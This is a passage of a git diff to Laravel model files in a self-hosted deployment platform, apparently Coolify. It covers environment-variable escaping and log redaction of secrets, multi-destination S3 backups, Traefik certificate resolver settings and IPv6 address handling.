0120461040..5521bd31c5 100644 --- a/app/Models/Environment.php +++ b/app/Models/Environment.php @@ -6,6 +6,7 @@ use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Factories\HasFactory; +use Illuminate\Database\Eloquent\Relations\HasMany; use OpenApi\Attributes as OA; #[OA\Schema( @@ -33,6 +34,18 @@ class Environment extends BaseModel 'uuid', ]; + /** + * Moving cards on the environment canvas is layout, not a change worth an audit event. + */ + protected array $auditExclude = ['canvas_positions']; + + protected function casts(): array + { + return [ + 'canvas_positions' => 'array', + ]; + } + protected static function booted() { static::deleting(function ($environment) { @@ -148,6 +161,11 @@ class Environment extends BaseModel return $this->hasMany(Service::class); } + public function resourceLinks(): HasMany + { + return $this->hasMany(ResourceLink::class); + } + protected function customizeName($value) { return str($value)->lower()->trim()->replace('/', '-')->toString(); diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index f6a017dbb7..81ac70023c 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -2,12 +2,16 @@ namespace App\Models; +use App\Exceptions\RemoteSecretException; use App\Models\EnvironmentVariable as ModelsEnvironmentVariable; +use App\Support\RemoteSecretReferences; use App\Support\RemoteSecretValueFormatter; use App\Support\ValidationPatterns; use App\Traits\Auditable; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Casts\Attribute; +use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Log; use OpenApi\Attributes as OA; #[OA\Schema( @@ -40,6 +44,17 @@ class EnvironmentVariable extends BaseModel public const BUILDPACK_CONTROL_VARIABLE_PREFIXES = ['NIXPACKS_', 'RAILPACK_']; + /** + * Buildpack control variables that the built image reads when the container starts, + * e.g. the Nixpacks PHP prestart script renders nginx.conf from NIXPACKS_PHP_ROOT_DIR. + */ + public const RUNTIME_BUILDPACK_CONTROL_VARIABLES = [ + 'NIXPACKS_PHP_ROOT_DIR', + 'NIXPACKS_PHP_FALLBACK_PATH', + 'NIXPACKS_SPA_OUTPUT_DIR', + 'RAILPACK_SKIP_MIGRATIONS', + ]; + protected $attributes = [ 'is_runtime' => true, 'is_buildtime' => true, @@ -73,10 +88,12 @@ class EnvironmentVariable extends BaseModel protected $casts = [ 'key' => 'string', 'value' => 'encrypted', + 'preserve_compose_null' => 'boolean', 'is_multiline' => 'boolean', 'is_preview' => 'boolean', 'is_runtime' => 'boolean', 'is_buildtime' => 'boolean', + 'uses_legacy_escaping' => 'boolean', 'version' => 'string', 'resourceable_type' => 'string', 'resourceable_id' => 'integer', @@ -92,6 +109,8 @@ class EnvironmentVariable extends BaseModel protected $hidden = [ 'value', 'real_value', + // Internal: decides the escaping of variables saved before exact escaping. + 'uses_legacy_escaping', ]; protected static function booted() @@ -114,6 +133,7 @@ class EnvironmentVariable extends BaseModel 'is_literal' => $environment_variable->is_literal ?? false, 'is_runtime' => $environment_variable->is_runtime ?? false, 'is_buildtime' => $environment_variable->is_buildtime ?? false, + 'is_required' => $environment_variable->is_required ?? false, 'comment' => $environment_variable->comment, 'resourceable_type' => Application::class, 'resourceable_id' => $environment_variable->resourceable_id, @@ -128,10 +148,18 @@ class EnvironmentVariable extends BaseModel }); static::saving(function (ModelsEnvironmentVariable $environmentVariable) { + if ($environmentVariable->preserve_compose_null && $environmentVariable->isDirty('value') && $environmentVariable->value !== null) { + $environmentVariable->preserve_compose_null = false; + } $environmentVariable->updateIsShared(); }); } + public function preservesLegacyComposeNull(): bool + { + return $this->preserve_compose_null && $this->value === null; + } + public function service() { return $this->belongsTo(Service::class); @@ -146,6 +174,14 @@ class EnvironmentVariable extends BaseModel return $query; } + public function scopeWithoutBuildOnlyBuildpackControlVariables(Builder $query): Builder + { + return $query->where(function (Builder $query) { + $query->whereIn('key', self::RUNTIME_BUILDPACK_CONTROL_VARIABLES) + ->orWhere(fn (Builder $query) => $query->withoutBuildpackControlVariables()); + }); + } + public static function isBuildpackControlKey(?string $key): bool { if (blank($key)) { @@ -182,6 +218,10 @@ class EnvironmentVariable extends BaseModel return $this->resourceable; } + /** + * The value that the container gets: the old escaped form for variables saved before exact + * escaping, otherwise the resolved value without escaping. + */ public function realValue(): Attribute { return Attribute::make( @@ -198,7 +238,10 @@ class EnvironmentVariable extends BaseModel return $this->resolveRealValue(revealLockedSharedVariables: false); } - private function resolveRealValue(bool $revealLockedSharedVariables = true): ?string + /** + * @param Collection|null $sharedVariables + */ + private function resolveRealValue(bool $revealLockedSharedVariables = true, bool $escapeLegacyValue = true, ?Collection $sharedVariables = null): ?string { if (! $this->relationLoaded('resourceable')) { $this->load('resourceable'); @@ -219,20 +262,24 @@ class EnvironmentVariable extends BaseModel $resource->load('destination.server'); } - $real_value = $this->get_real_environment_variables_internal($this->value, $resource, null, $revealLockedSharedVariables); + $value = $this->get_real_environment_variables_internal($this->value, $resource, null, $revealLockedSharedVariables, $sharedVariables); + return $value === null || ! $escapeLegacyValue || ! $this->uses_legacy_escaping ? $value : $this->legacyEscapedValue($value); + } + + /** + * The escaping used before exact escaping. + */ + private function legacyEscapedValue(string $value): string + { // Skip escaping for valid JSON objects/arrays to prevent quote corruption (see #6160) - if (json_validate($real_value) && (str_starts_with($real_value, '{') || str_starts_with($real_value, '['))) { - return $real_value; + if (json_validate($value) && (str_starts_with($value, '{') || str_starts_with($value, '['))) { + return $value; } - if ($this->is_literal || $this->is_multiline) { - $real_value = '\''.$real_value.'\''; - } else { - $real_value = escapeEnvVariables($real_value); - } - - return $real_value; + return $this->is_literal || $this->is_multiline + ? '\''.$value.'\'' + : escapeEnvVariables($value); } protected function isReallyRequired(): Attribute @@ -323,14 +370,19 @@ class EnvironmentVariable extends BaseModel } /** @return array */ - public function logRedactionValues(): array + /** + * @param Collection|null $sharedVariables Preloaded shared variables, to avoid one query per reference. + */ + public function logRedactionValues(?Collection $sharedVariables = null): array { - $value = $this->real_value; - if (! is_string($value) || $value === '') { + $resolvedValue = $this->resolveRealValue(escapeLegacyValue: false, sharedVariables: $sharedVariables); + if (! is_string($resolvedValue) || $resolvedValue === '') { return []; } - $values = [$value]; + // Build-time paths still write the old escaped form, so redact both forms. + $value = $this->legacyEscapedValue($resolvedValue); + $values = [$value, $resolvedValue]; if ($this->is_multiline || $this->is_literal) { $unquoted = str_starts_with($value, "'") && str_ends_with($value, "'") ? substr($value, 1, -1) @@ -379,6 +431,177 @@ class EnvironmentVariable extends BaseModel return $values; } + /** + * Collect the values to hide in a resource's logs. + * + * Locked values, database passwords, and resolved remote secrets are always hidden, + * whatever their length. Other values are hidden unless the resource limits log redaction + * to locked values only. + * + * Remote secrets are fetched at most once per call, and only when a variable references one. + * Callers that already hold the fetched values, such as deployments, pass $resolveRemoteSecrets = false. + * + * @return array{known: array, locked: array} + */ + public static function logRedactionSecretsFor(Application|Service|StandalonePostgresql|StandaloneRedis|StandaloneMongodb|StandaloneMysql|StandaloneMariadb|StandaloneKeydb|StandaloneDragonfly|StandaloneClickhouse|StandaloneSqlite|null $resource, bool $includePreview = false, bool $resolveRemoteSecrets = true): array + { + if ($resource === null) { + return ['known' => [], 'locked' => []]; + } + + $isDatabase = ! $resource instanceof Application && ! $resource instanceof Service; + $secrets = ['known' => [], 'locked' => []]; + if ($isDatabase) { + foreach (array_keys($resource->getAttributes()) as $attribute) { + if (str_contains($attribute, 'password')) { + $value = $resource->getAttribute($attribute); + if (is_string($value) && $value !== '') { + $secrets['locked'][] = $value; + } + } + } + } + + $variables = collect($isDatabase ? $resource->runtime_environment_variables : $resource->environment_variables); + if ($includePreview && $resource instanceof Application) { + $variables = $variables->merge($resource->environment_variables_preview ?? []); + } + if ($variables->isEmpty()) { + return $secrets; + } + + // Load the resource relations once and share them, so each variable does not load its own copy. + $resource->loadMissing('environment.project.team'); + if (method_exists($resource, 'server')) { + $resource->loadMissing('server'); + } + if (method_exists($resource, 'destination')) { + $resource->loadMissing('destination.server'); + } + // Use copies so the resource's own loaded variables do not get a reference back to the resource. + $variables = $variables->map(fn (self $variable): self => (clone $variable)->setRelation('resourceable', $resource)); + $sharedVariables = self::sharedVariablesReferencedBy($variables, $resource->team()?->id); + + $redactAllValues = $resource->redactsAllEnvValuesInLogs(); + $unresolvedKeys = []; + $remoteSecretFailure = null; + foreach ($variables as $variable) { + if ($resolveRemoteSecrets) { + $secrets['locked'] = array_merge( + $secrets['locked'], + self::remoteSecretLogRedactionValuesFor($resource, $variable, $sharedVariables, $remoteSecretFailure, $unresolvedKeys), + ); + } + if ($variable->isLockedForLogs($sharedVariables)) { + $secrets['locked'] = array_merge($secrets['locked'], $variable->logRedactionValues($sharedVariables)); + } elseif ($redactAllValues) { + $secrets['known'] = array_merge($secrets['known'], $variable->logRedactionValues($sharedVariables)); + } + } + + if ($remoteSecretFailure !== null) { + Log::warning('Could not resolve remote secrets for log redaction; their resolved values are not hidden.', [ + 'resource_type' => $resource->getMorphClass(), + 'resource_uuid' => $resource->uuid, + 'variables' => array_values(array_unique($unresolvedKeys)), + 'exception' => $remoteSecretFailure::class, + ]); + } + + return $secrets; + } + + /** + * Resolved remote secret values of a variable; these are always hidden. + * + * When the references cannot be resolved, export still works: the reference text and any keys + * that did resolve are hidden, and the variable is reported. After a failed or empty fetch the + * source is not asked again. + * + * @param Collection|null $sharedVariables + * @param array $unresolvedKeys + * @return array + */ + private static function remoteSecretLogRedactionValuesFor(Application|Service|StandalonePostgresql|StandaloneRedis|StandaloneMongodb|StandaloneMysql|StandaloneMariadb|StandaloneKeydb|StandaloneDragonfly|StandaloneClickhouse|StandaloneSqlite $resource, self $variable, ?Collection $sharedVariables, ?RemoteSecretException &$failure, array &$unresolvedKeys): array + { + // Cheap check first, so variables without references never query or contact a source. + $value = $variable->resolveRealValue(escapeLegacyValue: false, sharedVariables: $sharedVariables); + if (! RemoteSecretReferences::containsReference($value) || ! $resource->environmentVariableUsesSecretManager($variable)) { + return []; + } + + if ($failure === null || $resource->resolvedSecretManagerValuesForRedaction() !== []) { + try { + return self::remoteSecretLogRedactionValues([$resource->resolveSecretManagerEnvironmentVariableValue($variable)]); + } catch (RemoteSecretException $e) { + $failure = $e; + } + } + + $unresolvedKeys[] = $variable->key; + $available = array_intersect_key($resource->resolvedSecretManagerValuesForRedaction(), array_flip(RemoteSecretReferences::referencedKeys($value))); + + return [...self::remoteSecretLogRedactionValues(array_values($available)), ...$variable->logRedactionValues($sharedVariables)]; + } + + /** + * A variable is locked when it is locked itself or references a locked shared variable. + * + * @param Collection|null $sharedVariables Preloaded shared variables of the resource's team. + */ + public function isLockedForLogs(?Collection $sharedVariables = null): bool + { + if ($this->is_shown_once) { + return true; + } + + $references = self::sharedVariableReferences($this->value); + if ($references === []) { + return false; + } + + $sharedVariables ??= self::sharedVariablesReferencedBy(collect([$this]), $this->resourceable?->team()?->id); + if ($sharedVariables === null) { + return true; + } + + return $sharedVariables->contains(fn (SharedEnvironmentVariable $shared): bool => $shared->is_shown_once + && in_array(['type' => $shared->type, 'key' => $shared->key], $references, true)); + } + + /** + * Load every shared variable that the given variables reference, with one query. + * + * @param Collection $variables + * @return Collection|null Null when the team is unknown. + */ + private static function sharedVariablesReferencedBy(Collection $variables, ?int $teamId): ?Collection + { + if ($teamId === null) { + return null; + } + + $keys = $variables + ->flatMap(fn (self $variable): array => self::sharedVariableReferences($variable->value)) + ->pluck('key') + ->unique() + ->values(); + + return $keys->isEmpty() + ? collect() + : SharedEnvironmentVariable::query()->where('team_id', $teamId)->whereIn('key', $keys)->get(); + } + + /** + * @return array + */ + private static function sharedVariableReferences(?string $value): array + { + preg_match_all('/{{\s*(\w+)\.([^}\s]+)\s*}}/', (string) $value, $matches, PREG_SET_ORDER); + + return array_map(fn (array $match): array => ['type' => $match[1], 'key' => $match[2]], $matches); + } + public function resolveReferencedValue(): ?string { $value = $this->value; @@ -397,7 +620,10 @@ class EnvironmentVariable extends BaseModel ->first()?->value ?? $value; } - private function get_real_environment_variables_internal(?string $environment_variable = null, $resource = null, $serverOverride = null, bool $revealLockedSharedVariables = true) + /** + * @param Collection|null $sharedVariables + */ + private function get_real_environment_variables_internal(?string $environment_variable = null, $resource = null, $serverOverride = null, bool $revealLockedSharedVariables = true, ?Collection $sharedVariables = null) { if (is_null($environment_variable) || $environment_variable === '' || is_null($resource)) { return $environment_variable; @@ -432,11 +658,15 @@ class EnvironmentVariable extends BaseModel if (is_null($id)) { continue; } - $found = SharedEnvironmentVariable::where('type', $type) - ->where('key', $variable) - ->where('team_id', $resource->team()->id) - ->where("{$type}_id", $id) - ->first(); + $found = $sharedVariables !== null + ? $sharedVariables->first(fn (SharedEnvironmentVariable $shared): bool => $shared->type === $type->value() + && $shared->key === $variable->value() + && (int) $shared->{"{$type}_id"} === (int) $id) + : SharedEnvironmentVariable::where('type', $type) + ->where('key', $variable) + ->where('team_id', $resource->team()->id) + ->where("{$type}_id", $id) + ->first(); if ($found && ($revealLockedSharedVariables || ! $found->is_shown_once)) { $environment_variable = str($environment_variable)->replace("{{{$sharedEnv}}}", $found->value); } diff --git a/app/Models/InstanceSettings.php b/app/Models/InstanceSettings.php index 16a1d7ea30..1d08078176 100644 --- a/app/Models/InstanceSettings.php +++ b/app/Models/InstanceSettings.php @@ -21,6 +21,7 @@ class InstanceSettings extends Model 'public_port_max', 'do_not_track', 'is_auto_update_enabled', + 'is_backup_before_update_enabled', 'is_registration_enabled', 'disable_registration_when_oauth_enabled', 'next_channel', @@ -59,6 +60,7 @@ class InstanceSettings extends Model 'avatar_s3_storage_id', 'image_cdn_url', 'is_dashboard_force_https_enabled', + 'is_passkey_enabled', ]; protected $hidden = [ @@ -90,6 +92,7 @@ class InstanceSettings extends Model 'allowed_ip_ranges' => 'array', 'is_auto_update_enabled' => 'boolean', + 'is_backup_before_update_enabled' => 'boolean', 'is_registration_enabled' => 'boolean', 'disable_registration_when_oauth_enabled' => 'boolean', 'auto_update_frequency' => 'string', @@ -100,6 +103,7 @@ class InstanceSettings extends Model 'webhook_allowed_internal_hosts' => 'array', 'webhook_allow_localhost' => 'boolean', 'is_dashboard_force_https_enabled' => 'boolean', + 'is_passkey_enabled' => 'boolean', ]; protected static function booted(): void diff --git a/app/Models/IntegrationToken.php b/app/Models/IntegrationToken.php index 25c2f55939..05f8174c70 100644 --- a/app/Models/IntegrationToken.php +++ b/app/Models/IntegrationToken.php @@ -71,11 +71,56 @@ class IntegrationToken extends BaseModel return self::PROVIDER_NAMES[$this->provider] ?? ucfirst($this->provider); } + /** + * Capabilities a token of the provider can have. Cloudflare Tunnel setup also writes DNS records, so `tunnel` needs `dns`. + * + * @return array + */ + public static function allowedCapabilities(string $provider): array + { + return $provider === 'cloudflare' ? ['dns', 'tunnel'] : ['secrets']; + } + + /** + * Cloudflare dashboard link that pre-fills a user API token with the permissions the capabilities need. + * + * @param array $capabilities + */ + public static function cloudflareTokenTemplateUrl(array $capabilities): string + { + $permissions = [ + ['key' => 'dns', 'type' => 'edit'], + ['key' => 'zone', 'type' => 'read'], + ]; + if (in_array('tunnel', $capabilities, true)) { + // `argotunnel` is Cloudflare's internal key for the "Cloudflare Tunnel" permission group. + $permissions[] = ['key' => 'argotunnel', 'type' => 'edit']; + } + + return 'https://dash.cloudflare.com/profile/api-tokens?'.http_build_query([ + 'permissionGroupKeys' => json_encode($permissions), + 'accountId' => '*', + 'zoneId' => 'all', + 'name' => in_array('tunnel', $capabilities, true) ? 'Coolify DNS and Tunnel Management' : 'Coolify DNS Management', + ], '', '&', PHP_QUERY_RFC3986); + } + + public function hasCapability(string $capability): bool + { + return in_array($capability, $this->capabilities ?? [], true); + } + public function automaticDnsEnabled(): bool { return $this->provider === 'cloudflare' && data_get($this->metadata, 'automatic_dns', true) !== false; } + /** New Cloudflare records are created proxied (orange cloud) when enabled, so the server IP is not exposed. */ + public function proxiedDnsEnabled(): bool + { + return $this->provider === 'cloudflare' && data_get($this->metadata, 'proxied_dns') === true; + } + public function dopplerTokenType(): ?string { if ($this->provider !== 'doppler') { diff --git a/app/Models/PushoverNotificationSettings.php b/app/Models/PushoverNotificationSettings.php index 2ab6693142..9a8be46626 100644 --- a/app/Models/PushoverNotificationSettings.php +++ b/app/Models/PushoverNotificationSettings.php @@ -2,12 +2,13 @@ namespace App\Models; +use App\Traits\TracksDeliveryFailures; use Illuminate\Database\Eloquent\Model; use Illuminate\Notifications\Notifiable; class PushoverNotificationSettings extends Model { - use Notifiable; + use Notifiable, TracksDeliveryFailures; public $timestamps = false; @@ -70,4 +71,14 @@ class PushoverNotificationSettings extends Model { return $this->pushover_enabled; } + + public function notificationChannelName(): string + { + return 'Pushover'; + } + + protected function disableNotificationChannel(): void + { + $this->pushover_enabled = false; + } } diff --git a/app/Models/ResourceLink.php b/app/Models/ResourceLink.php new file mode 100644 index 0000000000..a8f0e823e2 --- /dev/null +++ b/app/Models/ResourceLink.php @@ -0,0 +1,37 @@ +belongsTo(Environment::class); + } + + public function source(): MorphTo + { + return $this->morphTo(); + } + + public function target(): MorphTo + { + return $this->morphTo(); + } +} diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index 3c0d9e7e95..3ee7d5f269 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -6,10 +6,12 @@ use App\Rules\SafeWebhookUrl; use App\Rules\ValidS3BucketName; use App\Traits\Auditable; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Filesystem\FilesystemAdapter; use Illuminate\Notifications\Messages\MailMessage; +use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Storage; use Illuminate\Support\Facades\Validator; @@ -67,19 +69,48 @@ class S3Storage extends BaseModel }); static::deleting(function (S3Storage $storage) { - ScheduledDatabaseBackup::where('s3_storage_id', $storage->id)->update([ - 'save_s3' => false, - 's3_storage_id' => null, - ]); - ScheduledVolumeBackupExecution::where('s3_storage_id', $storage->id) - ->update([ - 's3_storage_deleted' => true, - 's3_cleanup_pending' => false, - ]); - ScheduledVolumeBackup::where('s3_storage_id', $storage->id)->update([ - 'save_s3' => false, - 's3_storage_id' => null, - ]); + $storage->detachFromBackups(); + }); + } + + /** + * Removes this storage from every backup schedule and marks the copies in it as deleted. A schedule moves its + * primary destination to a remaining storage, or stops S3 backups when none remains. + */ + public function detachFromBackups(): void + { + DB::transaction(function (): void { + foreach ([ScheduledDatabaseBackup::class, ScheduledVolumeBackup::class] as $backupModel) { + $backupModel::query() + ->usingS3Storage($this->id) + ->lazyById() + ->each(function (ScheduledDatabaseBackup|ScheduledVolumeBackup $backup): void { + $backup->syncS3Storages($backup->s3Storages()->whereKeyNot($this->id)->pluck('s3_storages.id')->all()); + if ($backup->s3_storage_id === null && $backup->save_s3) { + $backup->update(['save_s3' => false]); + } + }); + } + + foreach ([DatabaseBackupS3Replica::class, VolumeBackupS3Replica::class] as $replicaModel) { + $replicaModel::query() + ->with('execution') + ->where('s3_storage_id', $this->id) + ->where('s3_storage_deleted', false) + ->lazyById() + ->each(function (DatabaseBackupS3Replica|VolumeBackupS3Replica $replica): void { + $replica->update(['s3_storage_deleted' => true]); + $replica->execution?->refreshS3Summary(); + }); + } + + ScheduledVolumeBackupExecution::query() + ->where('s3_cleanup_pending', true) + ->whereHas('s3Replicas', fn (Builder $query) => $query->where('s3_storage_id', $this->id)) + ->whereDoesntHave('s3Replicas', fn (Builder $query) => $query + ->where('s3_storage_deleted', false) + ->where(fn (Builder $query) => $query->whereNull('s3_uploaded')->orWhere('s3_uploaded', false))) + ->update(['s3_cleanup_pending' => false]); }); } diff --git a/app/Models/ScheduledDatabaseBackup.php b/app/Models/ScheduledDatabaseBackup.php index 53ae084349..3c31c0fbc7 100644 --- a/app/Models/ScheduledDatabaseBackup.php +++ b/app/Models/ScheduledDatabaseBackup.php @@ -2,12 +2,16 @@ namespace App\Models; +use App\Traits\HasS3Destinations; +use Illuminate\Database\Eloquent\Relations\BelongsToMany; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\HasOne; use Illuminate\Database\Eloquent\Relations\MorphTo; class ScheduledDatabaseBackup extends BaseModel { + use HasS3Destinations; + protected function casts(): array { return [ @@ -78,6 +82,11 @@ class ScheduledDatabaseBackup extends BaseModel return $this->belongsTo(S3Storage::class, 's3_storage_id'); } + public function s3Storages(): BelongsToMany + { + return $this->belongsToMany(S3Storage::class, 'scheduled_database_backup_s3_storage')->withTimestamps(); + } + public function get_last_days_backup_status($days = 7) { return $this->hasMany(ScheduledDatabaseBackupExecution::class)->where('created_at', '>=', now()->subDays($days))->get(); @@ -85,7 +94,7 @@ class ScheduledDatabaseBackup extends BaseModel public function executionsPaginated(int $skip = 0, int $take = 10) { - $executions = $this->hasMany(ScheduledDatabaseBackupExecution::class)->orderBy('created_at', 'desc'); + $executions = $this->hasMany(ScheduledDatabaseBackupExecution::class)->with('s3Replicas.s3')->orderBy('created_at', 'desc'); $count = $executions->count(); $executions = $executions->skip($skip)->take($take)->get(); diff --git a/app/Models/ScheduledDatabaseBackupExecution.php b/app/Models/ScheduledDatabaseBackupExecution.php index 1a479772cf..eb43a1a2e3 100644 --- a/app/Models/ScheduledDatabaseBackupExecution.php +++ b/app/Models/ScheduledDatabaseBackupExecution.php @@ -2,10 +2,14 @@ namespace App\Models; +use App\Traits\HasS3Replicas; use Illuminate\Database\Eloquent\Relations\BelongsTo; +use Illuminate\Database\Eloquent\Relations\HasMany; class ScheduledDatabaseBackupExecution extends BaseModel { + use HasS3Replicas; + protected static function booted(): void { static::created(function (ScheduledDatabaseBackupExecution $execution): void { @@ -42,4 +46,9 @@ class ScheduledDatabaseBackupExecution extends BaseModel { return $this->belongsTo(ScheduledDatabaseBackup::class); } + + public function s3Replicas(): HasMany + { + return $this->hasMany(DatabaseBackupS3Replica::class, 'execution_id'); + } } diff --git a/app/Models/ScheduledVolumeBackup.php b/app/Models/ScheduledVolumeBackup.php index 9ad676d953..0c4443b2e3 100644 --- a/app/Models/ScheduledVolumeBackup.php +++ b/app/Models/ScheduledVolumeBackup.php @@ -2,15 +2,19 @@ namespace App\Models; +use App\Traits\HasS3Destinations; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; +use Illuminate\Database\Eloquent\Relations\BelongsToMany; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\HasOne; use Illuminate\Database\Eloquent\Relations\MorphTo; class ScheduledVolumeBackup extends BaseModel { + use HasS3Destinations; + public const int DEFAULT_TIMEOUT = 36000; protected $fillable = [ @@ -123,6 +127,11 @@ class ScheduledVolumeBackup extends BaseModel return $this->belongsTo(S3Storage::class, 's3_storage_id'); } + public function s3Storages(): BelongsToMany + { + return $this->belongsToMany(S3Storage::class, 'scheduled_volume_backup_s3_storage')->withTimestamps(); + } + public function executions(): HasMany { return $this->hasMany(ScheduledVolumeBackupExecution::class)->latest(); diff --git a/app/Models/ScheduledVolumeBackupExecution.php b/app/Models/ScheduledVolumeBackupExecution.php index 664efa11c1..82dfe0ee3b 100644 --- a/app/Models/ScheduledVolumeBackupExecution.php +++ b/app/Models/ScheduledVolumeBackupExecution.php @@ -2,10 +2,14 @@ namespace App\Models; +use App\Traits\HasS3Replicas; use Illuminate\Database\Eloquent\Relations\BelongsTo; +use Illuminate\Database\Eloquent\Relations\HasMany; class ScheduledVolumeBackupExecution extends BaseModel { + use HasS3Replicas; + protected $fillable = [ 'uuid', 'scheduled_volume_backup_id', @@ -56,4 +60,9 @@ class ScheduledVolumeBackupExecution extends BaseModel { return $this->belongsTo(S3Storage::class, 's3_storage_id'); } + + public function s3Replicas(): HasMany + { + return $this->hasMany(VolumeBackupS3Replica::class, 'execution_id'); + } } diff --git a/app/Models/Server.php b/app/Models/Server.php index 3ab35001f2..e6b85e522f 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -375,7 +375,7 @@ class Server extends BaseModel public function setValidationLogsAttribute($value): void { $this->attributes['validation_logs'] = $value !== null - ? Purify::config('validation_logs')->clean($value) + ? Purify::config('validation_logs')->clean(remove_iip($value)) : null; } @@ -401,6 +401,7 @@ class Server extends BaseModel */ public function backfillPlaceholderIp(?string $ip): bool { + $ip = blank($ip) ? null : self::normalizeIp($ip); if (self::isPlaceholderIp($ip)) { return false; } @@ -451,7 +452,7 @@ class Server extends BaseModel $hetznerService = new HetznerService($this->cloudProviderToken->token); $server = $hetznerService->getServer($this->hetzner_server_id); $status = $server['status'] ?? null; - $assignedIp = data_get($server, 'public_net.ipv4.ip') ?? data_get($server, 'public_net.ipv6.ip'); + $assignedIp = data_get($server, 'public_net.ipv4.ip') ?? hetznerServerIpv6(data_get($server, 'public_net.ipv6.ip')); $updates = []; if ($this->hetzner_server_status !== $status) { @@ -741,9 +742,7 @@ class Server extends BaseModel ], 'service' => 'noop', 'rule' => 'PathPrefix(`/`)', - 'tls' => [ - 'certResolver' => 'letsencrypt', - ], + 'tls' => $this->traefikCertificateResolver() ? ['certResolver' => $this->traefikCertificateResolver()] : [], 'priority' => -1000, ], ], @@ -1054,7 +1053,7 @@ class Server extends BaseModel ], $this); } else { $url = Url::fromString($settings->fqdn); - $host = $url->getHost(); + $host = $this->dashboardTraefikHost($url->getHost()); $schema = $url->getScheme(); $traefik_dynamic_conf = [ 'http' => [ @@ -1134,6 +1133,8 @@ class Server extends BaseModel ]; if ($schema === 'https') { + $certificateResolver = $this->traefikCertificateResolver(); + $tls = $certificateResolver ? ['certresolver' => $certificateResolver] : []; $traefik_dynamic_conf['http']['routers']['coolify-http']['middlewares'] = $this->dashboardHttpMiddlewares($settings); $traefik_dynamic_conf['http']['routers']['coolify-https'] = [ @@ -1145,9 +1146,7 @@ class Server extends BaseModel ], 'service' => 'coolify', 'rule' => "Host(`{$host}`)", - 'tls' => [ - 'certresolver' => 'letsencrypt', - ], + 'tls' => $tls, ]; $traefik_dynamic_conf['http']['routers']['coolify-reverb-wss'] = [ 'entryPoints' => [ @@ -1155,9 +1154,7 @@ class Server extends BaseModel ], 'service' => 'coolify-reverb', 'rule' => "Host(`{$host}`) && PathPrefix(`/app`)", - 'tls' => [ - 'certresolver' => 'letsencrypt', - ], + 'tls' => $tls, ]; $traefik_dynamic_conf['http']['routers']['coolify-reverb-api-https'] = [ 'entryPoints' => [ @@ -1165,9 +1162,7 @@ class Server extends BaseModel ], 'service' => 'coolify-reverb', 'rule' => "Host(`{$host}`) && PathPrefix(`/apps`)", - 'tls' => [ - 'certresolver' => 'letsencrypt', - ], + 'tls' => $tls, ]; $traefik_dynamic_conf['http']['routers']['coolify-terminal-wss'] = [ 'entryPoints' => [ @@ -1175,9 +1170,7 @@ class Server extends BaseModel ], 'service' => 'coolify-terminal', 'rule' => "Host(`{$host}`) && PathPrefix(`/terminal/ws`)", - 'tls' => [ - 'certresolver' => 'letsencrypt', - ], + 'tls' => $tls, ]; } $yaml = Yaml::dump($traefik_dynamic_conf, 12, 2); @@ -1243,6 +1236,14 @@ $siteAddress { return ['gzip']; } + /** + * Traefik matches an IPv6 Host() rule only without brackets (Host(`2a01:4f8::1`)). + */ + public function dashboardTraefikHost(string $host): string + { + return trim($host, '[]'); + } + public function dashboardCaddySiteAddress(InstanceSettings $settings, string $schema, string $host): string { if ($schema === 'https' && ! $settings->is_dashboard_force_https_enabled) { @@ -1489,6 +1490,17 @@ $siteAddress { return $this->settings->is_metrics_enabled; } + /** + * Traefik certificate resolver for generated HTTPS routers, or null when the proxy uses its own certificates. + * A resource value overrides the server value; "none" turns the resolver off. + */ + public function traefikCertificateResolver(?string $resourceResolver = null): ?string + { + $resolver = filled($resourceResolver) ? $resourceResolver : data_get($this, 'settings.traefik_certificate_resolver'); + + return filled($resolver) && $resolver !== ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_NONE ? $resolver : null; + } + public function isTrafficAnalyticsEnabled(): bool { return (bool) data_get($this, 'settings.is_traffic_analytics_enabled', false); @@ -1858,12 +1870,19 @@ $siteAddress { get: function ($value) { return preg_replace('/[^0-9a-zA-Z.:%-]/', '', $value); }, - set: function ($value) { - return preg_replace('/[^0-9a-zA-Z.:%-]/', '', $value); - } + set: fn ($value) => self::normalizeIp($value), ); } + /** + * The form a server IP is stored in: unsafe characters removed (including IPv6 brackets) and + * IPv6 addresses in their short lower-case form (2A01:04F8::0001 -> 2a01:4f8::1). + */ + public static function normalizeIp(?string $value): string + { + return normalizeIpAddress(preg_replace('/[^0-9a-zA-Z.:%-]/', '', (string) $value)); + } + public function getIp(): Attribute { return Attribute::make( diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index c7b28fb4ef..f2c6116c06 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -38,6 +38,7 @@ use OpenApi\Attributes as OA; 'is_geoip_enabled' => ['type' => 'boolean'], 'geoip_refresh_days' => ['type' => 'integer'], 'traffic_ip_mode' => ['type' => 'string', 'enum' => ['full', 'anonymized', 'off']], + 'traefik_certificate_resolver' => ['type' => 'string', 'nullable' => true, 'description' => 'Traefik certificate resolver for generated HTTPS routers. Null when the proxy uses its own certificates.'], 'is_reachable' => ['type' => 'boolean'], 'is_sentinel_enabled' => ['type' => 'boolean'], 'is_swarm_manager' => ['type' => 'boolean'], @@ -71,6 +72,16 @@ use OpenApi\Attributes as OA; )] class ServerSetting extends Model { + /** + * Allowed Traefik certificate resolver names; also keeps the value safe inside generated labels. + */ + public const string TRAEFIK_CERTIFICATE_RESOLVER_PATTERN = '/^[A-Za-z0-9_-]+$/'; + + /** + * Resolver value 